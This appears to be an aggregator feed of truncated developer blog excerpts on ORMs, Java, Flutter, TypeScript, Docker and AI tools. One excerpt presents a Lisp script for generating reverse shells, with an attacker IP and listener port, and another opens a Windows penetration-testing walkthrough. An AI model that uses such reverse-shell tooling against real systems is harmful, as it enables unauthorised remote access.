Just saw this comment on the recent announcement from Google AI and thought I'd share in case anyone here is interested in joining: Jess Huang • Nov 20 If you're ready to get hands on, join us next Tuesday, November 25th to get direct insight into the new capabilities of Gemini 3. Paige Bailey, AI Developer Experience Lead at Deepmind, will be hosting a live demo and AMA. This is your opportunity to get direct, unfiltered answers from the team behind Gemini 3! Register here: goo.gle/Gemini3Forum Gemini 3 Announcement: Start building with Gemini 3 Logan Kilpatrick for Google AI ・ Nov 18 #gemini #ai #antigravity #vibecoding  ( 6 min )

A new version of Momentum has been released, check it out here New level added: Wall climbing 101: this level introduces wall climbing but requries a mastery of momentum physics, and rope swinging to complete. Improved rope clinging, the rope no longer collides with the player itself when swinging. Implemented delta time, so the game should finally work on even the fastest machine. Added sound toggling icon.  ( 6 min )

It should have been done long ago. Right at the moment you realized you’d be working with a database. Sure, adopting an ORM now is harder than doing it from day one, but it’s still not too late. Today I’m going to push my subjective, one-sided, and only correct opinion about why you need an ORM. There are contraindications for introducing an ORM into your project. Consult your common sense before applying. Yes, it feels amazing. You started a project the business has needed for years. Not a pet project, not a coursework exercise, an actual business project, funded, real, important. One that finally fixes the broken processes people have been suffering through for ages. You decided to help real humans who struggle with imperfect tools every single day. We, as engineers, really are wizards. …  ( 11 min )

Hey everyone! I'm Aleksandr Grigorenko, a frontend developer. Recently I’ve been working on a side project — an interactive educational platform for exploring the Web Audio API and the basics of digital sound processing and synthesis. On this platform, users will be able to solve challenges by writing JavaScript code directly in the browser in a built-in code editor. That code then runs inside an isolated environment — a sandbox — where user programs cannot affect the platform. When I started building the sandbox for my project, I quickly realized it was much more complicated than it looked at first. I tried several different approaches and kept running into the same thing: code isolation in the browser is far from straightforward, and most resources online only scratch the surface. This a…  ( 52 min )

If you've spent any time browsing tech job boards "lately" (by lately, read "in the recent years"), you've probably noticed a bewildering array of similar-sounding positions: Site Reliability Engineer, Cloud Engineer, Platform Engineer, DevOps Engineer and most recently DevSecOps Engineer and the aberration called DevSecFinOps (yes, saw it already twice!). The lines between these roles seem blurry at best, and completely arbitrary at worst. Let's untangle this mess and address why some of these titles fundamentally misunderstand what DevOps actually is. Before diving into specific roles, we need to address the elephant in the room: DevOps is not a job title and most companies still don't understand it. DevOps it's a cultural philosophy, a set of practices, and a movement aimed at breakin…  ( 9 min )

🚀 Introduction Debugging UI layouts and performance issues in Flutter can be challenging, especially when widgets render unpredictably or performance drops without clear indicators. Fortunately, Flutter provides a powerful set of built-in visual debugging flags that help developers understand layout constraints, repaint behavior, gesture handling, accessibility, and rendering performance directly on the screen. This guide provides a practical reference to the most useful Flutter debugging commands—what they do, when to use them, and when to avoid them. Whether you’re fixing layout overflow, tracking excessive rebuilds, or improving performance, these tools will significantly speed up your workflow and improve your problem-solving efficiency. Use this cheatsheet anytime you need deeper v…  ( 10 min )

I write scripts so I don’t have to do boring stuff twice, and lately I’ve been doing it… in Common Lisp. Yeah, the language with a million parentheses. Fight me. A couple of months ago I fell down the Lisp rabbit hole while trying to automate some boring pentest tasks. Turns out: Lisp is absurdly good at generating and mutating payloads on the fly. Macros = free obfuscation super-powers. So here’s my little chaotic experiment: a tiny SBCL script that spits out working reverse shells with one click (and yes, I tested it live). #!/usr/bin/sbcl --script ;; payload.lisp – because why not write red-team tools in Lisp? (defparameter *lhost* "192.168.1.42") ; ← your attacker IP (defparameter *lport* "443") ; ← your listener port ;; Classic bash reverse shell – works on 99 % of Linu…  ( 11 min )

Caching stores frequently accessed data in memory to improve performance and reduce expensive calls (e.g., DB/API). It helps speed up applications and reduce load on resources. Java provides multiple ways to implement caching — from simple in-memory maps to production-grade caching frameworks. ✔ Improves performance ✔ Reduces DB/API calls ✔ Faster response times ✔ Better scalability ✔ Helps design high-performance systems Cache Type Description Example Use Case In-Memory Stored in JVM memory Java Map, LRU Cache Distributed Shared across servers Redis, Hazelcast Local + Remote Hybrid Ehcache with DB store Application-Level Annotations-based Spring Cache Map cache = new HashMap(); cache.put("user:1", "John"); cache.get("user:1"); // Fast lookup ⚠ Not th…  ( 7 min )

Hacking isn’t the Hollywood fantasy you’ve seen — no glowing green gibberish flying across the screen, no skinny guy surrounded by energy drinks, typing three lines and screaming: “I’m in.” If that is what inspires you to become a hacker, then you need to rethink your path immediately. The era of simple hacks based on weak passwords and sloppy scripts is long gone. Today’s digital infrastructure is armored with advanced defenses, intelligent detection systems, and layered security protocols. Modern hackers either evolve… or they end up as loud, online commentators who talk more than they prove. In this guide, we’re diving into a penetration-testing model that shows how attackers gain control of a Windows machine — step by step and in the real world. Before we begin, here are the prerequisi…  ( 10 min )

I have soft launched my relational query package, but to put it through the ringer I wanted to use it in a website. You can think of situations and write tests, but the proof is in eating the pudding. So I started a new project and used the Slim skeleton for a quick setup. It is a while ago that I used Slim. You don't need to read the code below, it is just a visual aid. // Instantiate PHP-DI ContainerBuilder $containerBuilder = new ContainerBuilder(); if (false) { // Should be set to true in production $containerBuilder->enableCompilation(__DIR__ . '/../var/cache'); } // Set up settings $settings = require __DIR__ . '/../app/settings.php'; $settings($containerBuilder); // Set up dependencies $dependencies = require __DIR__ . '/../app/dependencies.php'; $dependencies($containerBuild…  ( 8 min )

Prerequisites – installation of Homebrew and asdf on Ubuntu PHP - Docs PHP - On DevDocs.io (ordered from lowest to highest learning curve) CodeIgniter — https://codeigniter.com/user_guide/ Laravel — https://laravel.com/docs Symfony — https://symfony.com/doc 🛠️ Installation on Ubuntu sudo apt update sudo apt install php php-cli php-common php-mbstring php-xml php-curl php-zip brew install php Installation: php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" php composer-setup.php sudo mv composer.phar /usr/local/bin/composer Verify: composer --version Dependencies: sudo apt update sudo apt install autoconf bison build-essential libxml2-dev libssl-dev \ libcurl4-openssl-dev pkg-config re2c libsqlite3-dev Plugin + version: asdf plugin add ph…  ( 7 min )

## Installation, Basic Map, Markers, and Layers: Getting Started with Interactive Maps In this post, we will explore the essential steps to create interactive maps, starting from scratch. We will cover the installation of a popular library, the creation of a base map, and the addition of important elements such as markers and layers. 1. Installing the Library The first step is to install the library we will use to build our maps. There are several options, but for this tutorial, we will use [Library name]. To install, open the terminal or command prompt and run the following command: pip install [library name] Replace [library name] with the actual name of the library (e.g., folium, leaflet, etc.). Wait for the installation to complete. 2. Creating a Basic Map With the library installed, …  ( 8 min )

Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is CinemaSins’ latest roast session, where the team clocks every nitpick of the new KPop Demon Hunters movie with their trademark humor and snark. They link to all their channels (TVSins, CommercialSins, CinemaSins Podcast Network), share a Linktree for updates, invite you to fill out a fun poll, and remind you that you can keep the sin machine running over on Patreon. The description also points you to their Discord, Reddit, Instagram, TikTok, and even Jeremy’s book, while crediting the squad of writers (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel). Basically, if you love snappy film critiques and want to plug into all things CinemaSins, this is your one-stop gateway. Watch on YouTube  ( 6 min )

Java provides multiple Map implementations — each designed for different use cases such as fast lookups, sorted data, concurrency, or predictable order. Understanding their internal working helps in writing performant code. Map Type Ordering Thread-Safe Best For HashMap No order ❌ No Fast lookup LinkedHashMap Insertion order ❌ No Caching (LRU) TreeMap Sorted order ❌ No Range queries ConcurrentHashMap No order ✔ Yes Concurrent access Uses array + linked list / tree (red-black tree) Default capacity = 16, load factor = 0.75 Collisions handled using chaining Hashing Logic: index = hash(key) & (n - 1) // n = array size When collision occurs: Java 8+: if bucket size > 8 → converts list → tree (better performance) Time Complexity: Best For: Fast lookups, general-purpose sto…  ( 7 min )

A real-world debugging story - and the hidden mechanics behind Doctrine's 1:1 relations A few years ago, I was working on a high-traffic Symfony application. Lots of concurrent users, lots of read operations, performance carefully monitored. Everything seemed stable - until our database dashboards started showing something odd. Every single day, we were generating tens of thousands of redundant SELECTs. Just 40,000+ pointless queries. We dug into logs. Then into slow-query reports. Still nothing obvious. And then the profiler finally revealed the culprit: bidirectional One-to-One relation in Doctrine, configured on the wrong owning side. One annotation. One line of code. When we flipped the owning side to the entity we actually queried most often, the extra queries disappeared immediatel…  ( 9 min )

Introduction For my Capstone Project, I chose the Agents for Good track to solve a problem I face constantly: passive learning. The Problem: Studying is Passive The Solution: The AI Study Buddy Instead of just reading, users can: https://www.kaggle.com/code/anandk05/aibuddy-34 How It Works (The Architecture) 1. The Router Agent 🧠 If the user asks "What is...", it routes to the RAG Tool. If the user says "Quiz me...", it routes to the Quiz Generator. 2. Retrieval Augmented Generation (RAG) 📚 3. Self-Evaluation & Quality Control ✅ I implemented an Evaluator Tool that programmatically audits the generated quiz before showing it to the user. It checks: Is the question clear? If the quiz fails this check, the agent regenerates it. This ensures a high-quality experience for the student. What I Learned The most powerful concept I applied was Observability. By adding detailed logs (or "thought traces") to my code, I could watch the agent "think"—detecting intent, selecting tools, and evaluating its own work. It felt less like coding a script and more like teaching a digital employee. Demo https://youtu.be/FJjsLvuQJzI?si=IPlp8CdOlx-QhYwa Conclusion Building the AI Study Buddy showed me that we can use AI to make education more accessible and engaging. I'm excited to keep refining this agent and adding more tools in the future!  ( 7 min )

‘Weird Science’ Rewatchables Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 classic “Weird Science,” unpacking all the iconic ’80s vibes—from Anthony Michael Hall’s awkward teen energy to Kelly LeBrock’s bombshell arrival. Expect a deep (and delightfully off-color) look at the movie’s blend of sex, drugs, rock ’n’ roll and sci-fi gadgetry, plus plenty of nerdy trivia and behind-the-scenes anecdotes. Producers Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo keep the conversation rolling while State Farm pops in to remind you about bundle savings. Subscribe to The Ringer channels for more movie breakdowns, and follow them across YouTube, Twitter, Facebook and Instagram for all the pop-culture goodness. Watch on YouTube  ( 6 min )

Design patterns provide reusable solutions to common software problems. Here’s a concise recap with actual Java / Spring framework examples — not generic ones. Singleton Ensures only one instance exists. / Real Example: Calendar calendar = Calendar.getInstance(); Runtime runtime = Runtime.getRuntime(); Used in logging, DB connections, cache managers. Factory Method Creates objects without exposing logic. // Example: Java Collections List list = List.of("A", "B"); // Java 9 Factory NumberFormat format = NumberFormat.getInstance(); Spring Example: BeanFactory.getBean("beanName") Builder Pattern Best for creating complex objects with many fields. // Example: StringBuilder String result = new StringBuilder() .append("Hello ") .append("World") .toString(); Also used in Lo…  ( 7 min )

While building my ConversaAI web app, I started experimenting with a local AI model using Ollama, running the 𝗚𝗲𝗺𝗺𝗮 𝟯 (𝟭𝗕) model, a “lightweight” 𝟴𝟭𝟱 𝗠𝗕 model. But in practice… it’s a different story. Every time model started generating a longer response, 👇 Here’s the before-and-during-generating-longer-response comparison of hardware utilization. At first, I thought something broke. But the real reason was far more interesting. Even at 1B parameters, the model performs 𝗯𝗶𝗹𝗹𝗶𝗼𝗻𝘀 𝗼𝗳 𝗼𝗽𝗲𝗿𝗮𝘁𝗶𝗼𝗻𝘀 𝗽𝗲𝗿 𝘁𝗼𝗸𝗲𝗻. Every generated word triggers 𝗺𝗮𝘀𝘀𝗶𝘃𝗲 𝗺𝗮𝘁𝗿𝗶𝘅 𝗺𝘂𝗹𝘁𝗶𝗽𝗹𝗶𝗰𝗮𝘁𝗶𝗼𝗻𝘀. The GPU handles the heavy computation, while the CPU manages data flow, scheduling, and memory movement. Meanwhile, RAM and VRAM temporarily hold weights, activations, and intermediate states. In simple terms: When GPU utilization peaks (95%), it produces heat rapidly. This throttling explains why the AI response halted and fan speed decreased shortly after. 📽️ Watch the video below that explains this situation. Hardware strain during model inference “Small” in AI doesn’t mean “light” for consumer hardware. So, even though my laptop is capable of running local inference, it has trouble maintaining it, particularly when the model needs to continue executing billions of operations per second for longer outputs. Running AI locally isn’t just about generating text. It teaches you how your CPU, GPU, RAM, and thermal system manage the workload of modern AI models in real time. Now, every time my laptop fan spins up, I know it’s just trying to think really hard. 😅 Did you ever run into a similar issue? If yes, how did you tackle it? If you found this post useful or learned something new, drop a ❤️ and share your thoughts in the comments. I’d love to hear your experience. Feel free to reach out on 💌 Email 💻 GitHub  ( 7 min )

Introduction Assumptions All analyses were performed using Python in Jupyter Notebook, utilizing functions such as load_dataset(), print_summarize_dataset(), clean_dataset(), and various histogram, heatmap, and scatter plot utilities. 🧪 1. Assumptions Download count is a proxy for market demand — higher installs indicate stronger user interest 🧹 2. Data Preparation & Cleaning Removed duplicates After cleaning, the dataset was ready for rigorous analysis. 📈 3. Experiments & Visualizations 3.2. Most Popular Genres Within Paid Family Apps Education dominates the paid Family segment with the largest share This shows parents are willing to pay premium prices for educational content that benefits their children's development. 3.3. Installations per Category Communication, Social, Tools, V…  ( 9 min )

Introduction In an era of information overload and overcomplicated tools, QuickJot offers a refreshing alternative: a minimalist micro-note network that enables instant idea sharing through nothing more than a 6-character key. No accounts. No authentication barriers. No friction. QuickJot demonstrates that powerful solutions don't require complex infrastructure or significant investment. Built entirely on free-tier cloud services, it serves as both a practical tool and a proof-of-concept for developers exploring cost-effective full-stack architecture. Live Application: quickjot-kqo6.onrender.com GitHub Repository: github.com/hejhdiss/QuickJot License: GPLv3 (Open Source) Modern note-taking and sharing tools often introduce unnecessary complexity: Mandatory account creation Email verifi…  ( 8 min )

Reliable Plumbing Solutions in Bolton: Farworth Plumbing delivers expert bathroom and shower installations, radiator fitting, leak detection, and rapid pipe repairs. Skilled engineers ensure quality workmanship, efficient systems, and dependable service across the region—always ready to help. Bathroom-Installation-Bolton Shower-Installation-Bolton Radiators-Installation-Bolton Burst-Pipe-Repairs-Bolton Leaks-Detection-Bolton  ( 6 min )

onclick和addEventListener onclick = ... 只能设置一个处理函数。 如果你写多次，后面的会覆盖前面的。 mini.onclick = () => console.log('A'); mini.onclick = () => console.log('B'); // 最后只有 B 有效 可以对同一个事件添加多个监听器，不会互相覆盖。 mini.addEventListener('click', () => console.log('A')); mini.addEventListener('click', () => console.log('B')); // A 和 B 都会执行 inset 是 CSS 中用来设置元素“定位偏移”的简写属性，等同于同时设置： top right bottom left 它主要用于 绝对定位 / 固定定位 / 相对定位 的元素（position: absolute / fixed / relative / sticky）。 inset 的语法支持 1～4 个值： inset: ; 或者简写方式 写法 展开含义 inset: 10px; top=10px, right=10px, bottom=10px, left=10px inset: 10px 20px; top=10px, bottom=10px, right=20px, left=20px inset: 10px 20px 30px; top=10px, right=20px, left=20px, bottom=30px inset: 10px 20px 30px 40px; top=10px, right=20px, bottom=30px, left=40px  ( 6 min )

🚀🚀🚀 We’re very excited to introduce Nova Poshta MCP Server — a developer-first way to let your AI 🤖 talk to the real Nova Poshta API without living in the docs. Built for AI assistants and dev workflows with AI agents. ✨✨✨ When a project gets the task “integrate Nova Poshta delivery”, technically everything is already clear: there’s the official Nova Poshta API, there are request examples, there are dozens of existing integrations. But in practice, every time it comes down to the same things: remembering which method is responsible for tracking; not mixing up fields when creating an express waybill; building the right filters for branches; figuring out why a “successful” response still returns no data. Even if you already use AI assistants (Cursor, Claude, OpenAI, etc.), they often ha…  ( 9 min )

Over the past few months, I've been living in Claude Code. I'm talking about serious, production-level work—building new services, refactoring legacy systems, rebuilding our integration test infrastructure from scratch. If I'm being honest, over 80% of the code I've shipped in that time was generated by AI. But here's what nobody tells you: AI-generated code isn't replacing my engineering skills. It's amplifying them. And more importantly, it's exposing every gap in my own thinking. The code Claude produces will only be as good as the design you drive it toward. After months of experimentation—vibe coding, setting draconian rules, trying every configuration imaginable—I've learned that great AI-assisted development isn't about prompting harder. It's about thinking better. When I first star…  ( 11 min )

Docker isn’t just for serve your code, appliactions. you can actually run a full desktop app inside it. In this project, I containerized Firefox with a virtual desktop and made it accessible through a browser using noVNC. It creates a lightweight container that: - Runs a minimal desktop environment (Fluxbox) - Launches Firefox - Serves a VNC display using x11vnc - Exposes that desktop through noVNC (so you can open it in your web browser) You can literally open Firefox running inside Docker, from your browser tab. docker compose up. Here’s a quick breakdown of what happens inside the container: Everything runs headlessly, there’s no physical display, but the combo of Xvfb + Fluxbox gives Firefox a virtual desktop. FROM alpine:edge RUN apk add --no-cache \ xfce4 \ faenza-icon-the…  ( 8 min )

Most React interviews won’t ask you to build a whole app. Instead, they test your mental model of Context, routing, state persistence, URL‑driven state, and auth flows with questions like: What is prop drilling and how does Context solve it? What exactly does a Provider do? What goes inside the value prop of a Provider? When should I use useContext vs the new use() API? Why does auth state disappear on full page reload? How would you protect routes with a PrivateRoute? Why are and different? How does React Router’s createBrowserRouter and data APIs change things? Why store search filters in the URL instead of in useState? When should I use useRef instead of useState for input values? This article transforms all those quiz‑style questions into production‑grade patterns you…  ( 10 min )

🎥 Video demo: Introduction A few years ago, I was working on a system that required synchronizing very large datasets — sometimes close to 1 TB — across several servers belonging to different companies. Some servers were in the same building, others were remote, some were behind locked-down firewalls, and in many cases I had: no VPN, no direct link, no control over the remote infra, and machines that didn’t even know each other existed. To move initial datasets, I relied on traditional transfer tools. But the real problem appeared after that first copy: How do you verify that datasets across multiple locations are fully identical, and resynchronize only the missing deltas — especially after an interrupted or incomplete transfer? Double-checking terabytes manually…  ( 12 min )

(ITA version) For a few months now, I've been using Mise En Place as a tool to manage my environments: from macro (entire virtual machine) to micro (single project). Frustrated by always having to start from scratch when creating a new virtual machine with WSL2, this tool was suggested to me, and I've come to appreciate it more and more for its ease of use, speed, and consistency. It's the classic "Swiss Army knife" tool that allows you to manage tools and their versions in a specific project or across the entire machine, load a project's environment variables when you enter the project folder, and manage the tasks/scripts you want to use to automate the project itself. After the quick installation using the script indicated here, you can explore the commands with mise help This command al…  ( 8 min )

Spring Boot simplifies Java backend development by providing auto-configuration, embedded servers, production-ready features, and rapid development support. Here's a version-wise recap focusing on features that actually impact coding experience. First release of Spring Boot Embedded Tomcat/Jetty — no external server needed Auto-configuration (core feature introduced) Spring Boot Starter dependencies (spring-boot-starter-web) application.properties for configuration 👉 Foundation for rapid development in Spring. Spring Boot 2.0 Based on Spring Framework 5 Reactive programming with WebFlux Java 8+ required Actuator redesigned with /actuator/* endpoints Gradle plugin improved 👉 Start of reactive and microservice-ready Spring. Spring Boot 2.1 Better Kubernetes support Enhanced Actuato…  ( 7 min )

(ENG version) Da qualche mese ormai, sto usando Mise En Place come tool per gestire i miei ambienti: dal macro (intera macchina virtuale) al micro (singolo progetto). Frustrato dal dover sempre re-iniziare daccapo quando creavo una nuova macchina virtuale con WSL2 mi è stato suggerito questo strumento che ho apprezzato sempre di più per la facilità di utilizzo, la velocità e la consistenza. E’ il classico tool “coltellino svizzero” che ti permette di gestire i tool e le loro versioni in un determinato progetto o nell’intera macchina, caricare le variabili d’ambiente di un progetto quando entri nella cartella del progetto, e i task/script con cui si vuole automatizzare il progetto stesso. Dopo la veloce installazione con lo script indicato qui si possono esplorare i comandi con mise help …  ( 8 min )

Introduction - the problem with blockchain games The integration of blockchain into the gaming sector has historically been constrained by a fundamental conflict between transparency and gameplay depth. I want to show how Mina address these limitations, facilitating a transition from simple asset ownership to the cryptographic verification of complex game states. The utility of Mina in gaming rests on two architectural pillars: the restoration of information asymmetry and the asymptotic compression of computation. In game theory, strategic depth often relies on what players cannot see. Using Mina's client-side proving, a player can generate a cryptographic proof that a move is valid according to the game rules without revealing the coordinates of the move to the public network. Trad…  ( 8 min )

The Architecture Nobody Talks About: How I Built Systems That Actually Scale (And Why Most Don't) TheBitForge ・ Nov 17 #aws #programming #webdev #javascript  ( 5 min )

Vamos falar neste artigo de comandos que podem te ajudar a solucionar problemas no Kubernetes. Estamos considerando um cenário de falha em deploys de uma aplicação. Um cenário comum no dia a dia de um profissional DevOps/SRE/Engenheiro de Plataformas. Pod.: Menor unidade gerenciada no Kubernetes, onde carrega os containeres com a aplicação. Deployments.: Controlador responsável por gerenciar o pod ou pods da aplicação. Services.: É a camada de abstração para definir políticas de exposição de um conjunto lógico de Pods. ConfigMaps e Secrets.: São os locais onde ficam os dados de configuração e segurança da aplicação. Vamos agora aos problemas relacionados a Deploys no Kubernetes. Por alguma razão, o pod não consegue ficar disponível, para entender o que está acontecendo, o ideal é identifi…  ( 8 min )

When I first started learning TypeScript, I thought it was “just JavaScript with extra rules.” If you’re new to it, this post will save you the confusion I went through and give you a smooth entry into TypeScript. In simple terms: TypeScript = JavaScript + types + better developer experience It helps you catch bugs early, write clearer code, and avoid accidental mistakes. Here’s what I wish I understood from day one: 1. TypeScript makes your code predictable 2. Fewer runtime errors 3. Better autocomplete 4. Makes teamwork easier 1. Type Annotations let age: number = 24; let username: string = "John"; let isLoggedIn: boolean = true; 2. Arrays let scores: number[] = [10, 20, 30]; let names: string[] = ["John", "Jane"]; 3. Objects let user: { name: string; age: number } = { name: "John", age: 24 }; 4. Functions function greet(name: string): string { return `Hello, ${name}`; } 5. Union Types let id: number | string; id = 12; id = "12"; Interfaces (Your New Best Friend) interface User { name: string; age: number; isAdmin?: boolean; // optional property } const admin: User = { name: "John", age: 24, isAdmin: true }; This makes your code more organised and scalable. If you’re using React, TS helps you avoid a lot of confusion. type ButtonProps = { label: string; onClick: () => void; }; function Button({ label, onClick }: ButtonProps) { return {label}; } Now React knows exactly what the component expects, no more guessing. You don’t need to master TypeScript before using it. add types gradually use your editor hints let TypeScript guide you And with time, everything clicks. TypeScript isn’t difficult. Once you get comfortable with its structure, your code becomes cleaner, safer and more enjoyable to write. If you’re a beginner, here’s my advice: Start small. Build often. Let TypeScript teach you as you go.  ( 7 min )

I wanted to share a small detail from the customer-support workflow I built last week with FastAPI and LangChain. It’s something that kept the project easy to test and saved time later. I set up the app so each request can run in two modes: I. Mock mode Mock mode returns fixed responses for each intent. It gave me a stable baseline during debugging, since nothing depended on an external LLM call. Real mode uses OpenAI and follows the same structure, so switching back and forth didn’t break anything. One thing that worked well was keeping both paths inside the same handler. The logic stays in one place, and it’s obvious how the request flows. It’s a simple pattern, but it helps when you’re checking user messages, routing intents, and comparing outputs during refinement. If anyone’s building something similar, having these two modes early on makes the pipeline easier to reason about.  ( 6 min )

Everything Wrong With The Wiz In 15 Minutes Or Less takes you on a snarky trip down the yellow brick road, tearing into every plot hole, cheesy line and disco groove of the 1978 musical now that Wicked is back in theaters. Along the way, CinemaSins sprinkles in links to their main site, a quick poll to learn more about viewers, Patreon perks and all the usual socials—from YouTube channels @TVSins/@CommercialSins to Discord, Reddit, TikTok and Instagram—plus a hat-tip to their squad of sin-counting writers. Watch on YouTube  ( 6 min )

Biggest Disney Bombs Series Premiere Disney’s recent hits, like Marvel and Star Wars, are sputtering and new originals (Wish, Elio) aren’t sticking—and that’s nothing new. Over the next few weeks, the hosts of The Weekly Planet will dig into four colossal live-action flops, starting with 2010’s The Sorcerer’s Apprentice. Featuring Nicolas Cage, questionable magic and a giant CGI bird, The Sorcerer’s Apprentice is the first “caravan of garbage” on their chopping block. If you thought you’d forgotten it, this breakdown will remind you why it bombed. Watch on YouTube  ( 6 min )

Check out this Pen I made!  ( 5 min )

Tokenized real-world assets (RWAs) crossed $50B TVL in 2025, but the industry has learned an important lesson: tokenization is easy — redemption is hard. Creating an on-chain representation of T-bills or real estate may take days, but building a redemption pipeline that works reliably under stress, complies with regulations and maintains liquidity is where most protocols fail. Issuance in RWA systems is simple: assets are acquired off-chain, tokens are minted, and supply expands. Redemption, however, reverses this flow — and introduces real-world complexity. Turning tokens back into fiat or the underlying asset involves queues, NAV checks, custodians, banking rails, compliance, and standardized on-chain logic. Many RWA failures in 2024–2025 came from one mistake: treating redemption as jus…  ( 7 min )

Hi everyone, Seb here! 👋 It's been another quiet week in the ecosystem, probably because everyone was afraid to announce anything during the massive Cloudflare outage! By the way, this one was not caused by useEffect 😆! We have a good variety of interesting links, but I’m not sure what could be the headline. The most important news was probably the announcement of the upcoming CSS grid support in Yoga and React Native, but it’s still a draft PR for now. Also excited by the TC39 proposals progressing. Make sure to take the State of React 2025 survey, which just opened today! 💡 Subscribe to the official newsletter to receive an email every week! Shadcn Admin Kit: Supercharge Your Next Admin Your AI coding assistant knows CRUD, right? Except it reinvents the wheel every time and accumula…  ( 30 min )

Imagine this: a country decides to invest nearly ALL of its annual earnings into another country's economy. That's what just happened. Saudi Arabia announced a staggering $1 trillion investment into the United States. To put this in perspective, that's like you putting your entire year's salary into your friend's business. When that happens, everything changes. For currency traders and anyone watching global markets, this isn't just another news story. This is one of those rare moments when a single announcement reshapes how money flows around the world. And when money flows change, currencies move. Hard. The question traders need to answer right now is simple: How does this trillion dollar tsunami affect the currency pairs you're trading? That's what we're diving into. Before we get into …  ( 12 min )

Wenn du schon eine Weile im Kryptobereich entwickelst, weißt du: Das größte Bottleneck sind nicht Skalierung, Gebühren oder Regulierung. Wir bekommen jede Woche neue L2s, Wallets mit schicken UIs und Dapps, die besser aussehen als je zuvor und trotzdem fühlt es sich für neue Nutzer oft an, als müssten sie einen Produktionsfehler debuggen, nur um ihre ersten Coins zu kaufen. Die Stolpersteine sind überall: „Welche Börse soll ich nutzen?“ „Warum will dieses Wallet eine Seed Phrase?“ „Warum ist das Verschicken von Tokens so kompliziert?“ „Wieso kostet Gas plötzlich 40 $?“ Für Devs sind das nur lästige Details. Die gute Nachricht: Onboarding-Tools entwickeln sich weiter In den letzten zwei Jahren gab es tatsächlich etwas Positives: Wallets, Dapps und sogar Browser-Erweiterungen integr…  ( 7 min )

So Bitnami was acquired by VMware and they did some business shenanigans and then got rid of all the bitnami/mysql tags. Errors you may have encountered when trying to start your db container. manifest for bitnami/mysql:latest not found: manifest unknown or Unable to find image 'bitnami/mysql:latest' locally This article should give you some options to get a working docker mysql db. mysql/mysql You can use the official mysql docker image but it will require you to change a few things. Docker compose file where you can replace the "mydbname" with something more descriptive for you app. name: mydbname services: db: image: mysql restart: always environment: MYSQL_ROOT_PASSWORD: dev MYSQL_DATABASE: mydbname volumes: - mydbname-data:/var/lib/mysql port…  ( 6 min )

ChatGPT is awesome, Claude Code and cursor is great. AI is revolutionary. It’s the technology that turned the world faster than it already is. It has brought knowledge to the ignorant, time to those in lack, and value to those who sought for it. It has given us so much in the little amount of time it’s been with us, yet it also took the valuable things that define what we do. A reflection: In the past few weeks I’ve noticed how much I’m hanging onto an LLM’s thoughts for the program that I code, the message that I’ll send, and the work that I do. I’m in constant state of waiting and seeking and waiting. Pressured to deliver fast and learn little. As if both can’t be done at the same time. I’ve noticed how my ability to just do things is slowly creeping out of my fingers. Arguably, its similar to what social media has done in our lives, it has taken the so called dull moments in our day to day lives and replaced it with answers that’s instant, with a bunch of pixels that hook us. My innate nature of seeking for answers has advanced me in different areas of life. Yet my desire to seek it fast brings me one step backwards. I’ve come into realization that all our questions are to be answered, but not all are to be answered in a snap. We are to seek it with genuine intention, in that way, what we sought for gets engraved in us. And so this is my message, for myself, and maybe for you: think. do. Use that tiny thing in your head that you carry everyday. Use it to produce the work that has been given to you. AI is not the problem. It’s a tool. It should help define and shape the work that we do. It’s not about using it less (though that worked for me), It’s all the more about embracing who you are, your identity, your gifts and be in full confidence of it. Your are to create, solve, question, and serve. So go do that thing, do it yourself, and do it flawed.  ( 7 min )

In a world where every click, purchase, and interaction generates valuable information, data has become one of the most powerful business assets. But raw data alone doesn’t create impact—understanding it does. That’s where data science steps in. It transforms scattered information into practical insights that help organizations make smarter, faster, and more confident decisions. Whether it’s predicting customer behavior, optimizing processes, or enhancing user experiences, data science has become the foundation of modern innovation across industries. What Exactly Is Data Science? At its core, data science is all about finding meaning in large and complex datasets. It blends mathematics, statistics, programming, and domain expertise to uncover patterns that humans may not easily see. A typi…  ( 7 min )

I recently came across an interesting paper titled What Every Programmer Should Know About Memory by Ulrich Drepper. The paper dives into the structure of memory subsystems in use on modern commodity hardware,and what programs should do to achieve optimal performance by utilizing them. What I will be doing is just summarizing what I (as a semi-intelligent being) have learned from reading the paper. I highly recommend reading the paper as the title says, what every programmer should know about memory. Needless to say, some parts of the paper where quite complex for my brain, I did my best to understand everything, but I might have missed some details. If you find any mistakes, please let me know! I just finished reading the first 3 sections of the paper, which cover the following topics: Ba…  ( 21 min )

Ever wondered how floating-point decision can have an impact on LLM’s output? Floating-point is the standard way computers represent real numbers (numbers with a fractional part, like 3.14 or 1.2×10−5). A floating-point number is generally composed of three parts: a sign bit, an exponent, and a mantissa (or significand). Sign bit: Determines if the number is positive or negative. Exponent: Determines the scale or magnitude of the number (how large or small it is). Mantissa: Determines the precision (the number of significant digits). The number following “FP” (e.g., 4 or 16) indicates the total number of bits used to store the number. Fewer bits mean less memory and faster computation, but also less precision and a smaller range of representable values. The terms FP4 and FP16 in the conte…  ( 20 min )

Finding a good open-source project to contribute to shouldn’t take hours. So I built GitPulse — a tool that helps developers instantly discover open-source projects and beginner-friendly issues based on their skills. 👉 Live: https://git-pulsee.vercel.app 👉 Free & open to everyone I wanted to start contributing to open source, but I kept running into problems: Repos were too advanced I didn’t know which project actually FIT my skills So GitPulse was born: a simple platform that curates issues, analyzes repo difficulty, and recommends projects you can realistically contribute to. Smart Repo Matching You select your programming languages and skill level, and GitPulse recommends repos that fit. 200+ Beginner-Friendly Issues Updated regularly — filtered by languages, tags, and difficulty. AI Difficulty Prediction See how challenging an issue will be before opening it. Repo Analytics GitPulse shows data GitHub doesn’t: Onboarding friendliness Contributor patterns Issue activity Community health Best time to contribute Beginners looking to make their first contribution Bootcamp students building a portfolio Developers trying to break into open source People wanting a guided entry point No login. No friction. 👉 Live Demo: https://git-pulsee.vercel.app Would love your feedback or feature ideas! 🔥 Want me to open-source parts of GitPulse? Let me know in the comments 👇  ( 6 min )

Think it’s just a simple counter? You'll need to play with Date objects and requestAnimationFrame 💡 Check it out at https://www.reactchallenges.com/challenges/36 and see if you can master the animation!  ( 6 min )

